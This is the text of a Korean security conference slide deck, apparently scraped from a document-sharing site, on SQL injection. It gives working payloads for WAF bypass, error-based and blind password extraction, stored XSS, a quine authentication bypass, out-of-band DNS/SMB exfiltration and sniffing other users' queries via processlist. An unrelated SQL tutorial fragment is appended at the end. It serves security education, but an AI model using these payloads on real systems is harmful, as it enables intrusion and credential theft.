제목 레이아웃

Size: px

Start display at page:

Download "제목 레이아웃"

유찬 채
6 years ago
Views:

1 웹해킹이라고무시하는것들보소 RUBIYA805[AT]GMAIL[DOT]COM

2 SQL Injection 끝나지않은위협 RUBIYA805[AT]GMAIL[DOT]COM

3 Who am I 정도원 aka rubiya Penetration tester Web application bughuter Pwned 20+ 백수 Jobless

4 How to find vulnerability? How to exploit vulnerability? Exploit more smartly MITM SQL Injection

5 What is SQL Injection SELECT * FROM users WHERE name = '" + username + "';

6 What is SQL Injection SELECT * FROM users WHERE name = FooBar ;

7 What is SQL Injection SELECT * FROM users WHERE name = 1 OR 1 = 1 ;

8 What is SQL Injection SELECT * FROM users WHERE name = 1 OR 1 = 1 ;

9 Easy to access

10 NT Web Technology Vulnerabilities

11 But

13 Why hard to prevent

14 Why hard to prevent

15 Why hard to prevent

16 Why hard to prevent

17 Why hard to prevent

18 Why hard to prevent

19 How to find sqli vuln?

20 How to find sqli vuln?

21 How to find sqli vuln?

22 How to find sqli vuln?

23 How about AEG?

24 How about AEG?

25 How about AEG?

26 How about AEG?

27 How to find sqli vuln?

28 How to find sqli vuln?

29 How to find sqli vuln?

30 How to find sqli vuln?

31 Indirect SQL Injection

32 Indirect SQL Injection

33 Indirect SQL Injection

34 Indirect SQL Injection

35 Web Application Firewall 웹어플리케이션을보호할목적으로개발된공격차단솔루션

36 Web Application Firewall 웹어플리케이션을보호할목적으로개발된공격차단솔루션

37 Web Application Firewall 패턴기반방화벽

38 Web Application Firewall 패턴기반방화벽 Pattern = or 1 = 1 and 1 = 1 1 = 1

39 Web Application Firewall 패턴기반방화벽 Pattern = or 1 = 1 or 2 = 2 and 1 = 1 1 = 1

40 Web Application Firewall 패턴기반방화벽 Pattern = or 1 = 1 and 1 = 1 1 = 1 or 2 = 2

41 Web Application Firewall 패턴기반방화벽 Pattern = or 1 = 1 or 3 = 3 and 1 = 1 1 = 1 or 2 = 2

42 Web Application Firewall ASP 에서는 %[00-FF] 범위를초과하면 % 를무시

43 Web Application Firewall ASP 에서는 %[00-FF] 범위를초과하면 % 를무시?id= UN%ION SE%LECT 1--;

44 Web Application Firewall ASP 에서는 %[00-FF] 범위를초과하면 % 를무시?id= UN%ION SE%LECT 1--;?id= UNION SELECT 1--;

46 SQL Injection + DDOS?

47 SQL Injection + DDOS?

48 How to exploit vulnerability? Classic SQL Injection Blind SQL Injection Error Based SQL Injection Error Based Blind SQL Injection Time Based Blind SQL Injection

49 Error Based SQL Injection 에러메세지를클라이언트에출력해줄때가능 원하는값을에러메세지에포함시키는기법 DBMS 마다공격방법이다름

50 Error Based SQL Injection - MSSQL

51 Error Based SQL Injection - MySQL Duplicate entry XPATH syntax error BIGINT value is out of range in

52 Error Based SQL Injection - MySQL Duplicate entry 1 group by mid(version(),rand())having min(1)# XPATH syntax error updatexml(0,concat(0xa,version()),0)# BIGINT value is out of range in --~(select*from(select@@version)f)#

53 Error Based Blind SQL Injection Query 결과값의 True/False 여부를알수없을때사용 에러발생시에예외처리가될때가능

54 Error Based Blind SQL Injection ascii(substr((select pw from users),1,1))=97

55 Error Based Blind SQL Injection select(select 96 union select ascii(substr((select pw from users),1,1))) select(select 97 union select ascii(substr((select pw from users),1,1)))

56 Error Based Blind SQL Injection select(select 96 union select ascii(substr((select pw from users),1,1))) 96,97 return -> error select(select 97 union select ascii(substr((select pw from users),1,1))) 97 return -> no error

57 Time Based Blind SQL Injection

58 Time Based Blind SQL Injection MySQL sleep(), benchmark() MSSQL waitfor delay, waitfor time Oracle dbms_lock.sleep()

59 Compounded SQL Injection SQLi + XSS SQLi + Authentication Bypass Out Of Band SQLi

60 SQLi + XSS Insert, Update 가가능할경우 Stored XSS 연계 Iframe 태그를통한브라우저 1-Day 공격유행

61 SQLi + XSS Insert, Update 가가능할경우 Stored XSS 연계 Iframe 태그를통한브라우저 1-Day 공격유행 INSERT INTO board(no,user,<script>evilcode</script>) UPDATE board SET content=<script>evilcode</script>

62 SQLi + Authentication Bypass Union SQL Injection 재귀적 return 값을통한인증우회

63 Union SQL Injection Object Injecton SSRF XML External Entity LFI / RFI

64 재귀적 return 값을통한인증우회

65 재귀적 return 값을통한인증우회 s = 's = %r\nprint(s%%s)' print(s%s)

66 재귀적 return 값을통한인증우회 SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

67 재귀적 return 값을통한인증우회 if(queryresult) if(queryresult == input) loginsuccess()

68 재귀적 return 값을통한인증우회?id=asd' union select union select '\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'))--

69 재귀적 return 값을통한인증우회

70 Out Of Band SQLi 외부서버로의 Packet 전송 내부네트워크파일접근 SQL 서버에대한 DoS

71 Out Of Band SQLi DNS Query UTL_HTTP.REQUEST(' (select ) '.mydomain'); Access SMB file load_file('\\\\ \\aa');

72 DBMS 에대한 DoS BENCHMARK() Heavy Query CVE

CVE-2015-4870 select * from information_schema.

73 CVE select * from information_schema.tables procedure analyse((select*from(select 1)x),1);

74 Lord of SQL Injection

75 Lord of SQL Injection

76 Exploit more smartly Bitwise operation Blind SQL Injection UPDATE, INSERT Blind SQL Injection without modify data MITM SQL Injection

77 Blind SQL Injection 의단점 느리다. 로그가많이남는다.

78 Bitwise operation Blind SQL Injection ascii(substr((select pw from users),1,1))=97

79 Bitwise operation Blind SQL Injection substr( lpad( bin( ascii(substr((select pw from users),1,1)) ),8,0),1,1) = 1

80 Bitwise operation Blind SQL Injection substr( lpad( bin( 97 ),8,0),1,1) = 1

81 Bitwise operation Blind SQL Injection substr( lpad( ,8,0),1,1) = 1

82 Bitwise operation Blind SQL Injection substr( ,1,1) = 1

83 Bitwise operation Blind SQL Injection substr(lpad(bin( ascii(substr((select pw from users),1,1)) ),7,0),1,1)

84 MITM SQL Injection Information_schema.processlist.info

85 Sniff Query? 회원가입 insert into users values( guest123,md5( mypass666 )) 로그인 select...where id= guest123 and pw=md5( mypass666 )

86 But

87 직접 Sniffing 하는게너무느리다면 DBMS 에게시키자! = expr

88 info from information_schema.processlist) ) )

89 Issues 반복된값을조회할때 Query 의결과값이 cache 됨 select 권한만가지고는 cache 를끌수없음 한번조회된 query 가무수히조회됨

90 Proof of Concept UNION UNION SELECT (SELECT Group_concat(info) FROM information_schema.processlist WHERE info NOT LIKE 0x254d49544d5f53514c495f50574e25 or NOT LIKE ))) UNION limit 3,1

91 Proof of Concept

93 Tank You

10.ppt

10.ppt : SQL. SQL Plus. JDBC. SQL >> SQL create table : CREATE TABLE ( ( ), ( ),.. ) SQL >> SQL create table : id username dept birth email id username dept birth email CREATE TABLE member ( id NUMBER NOT NULL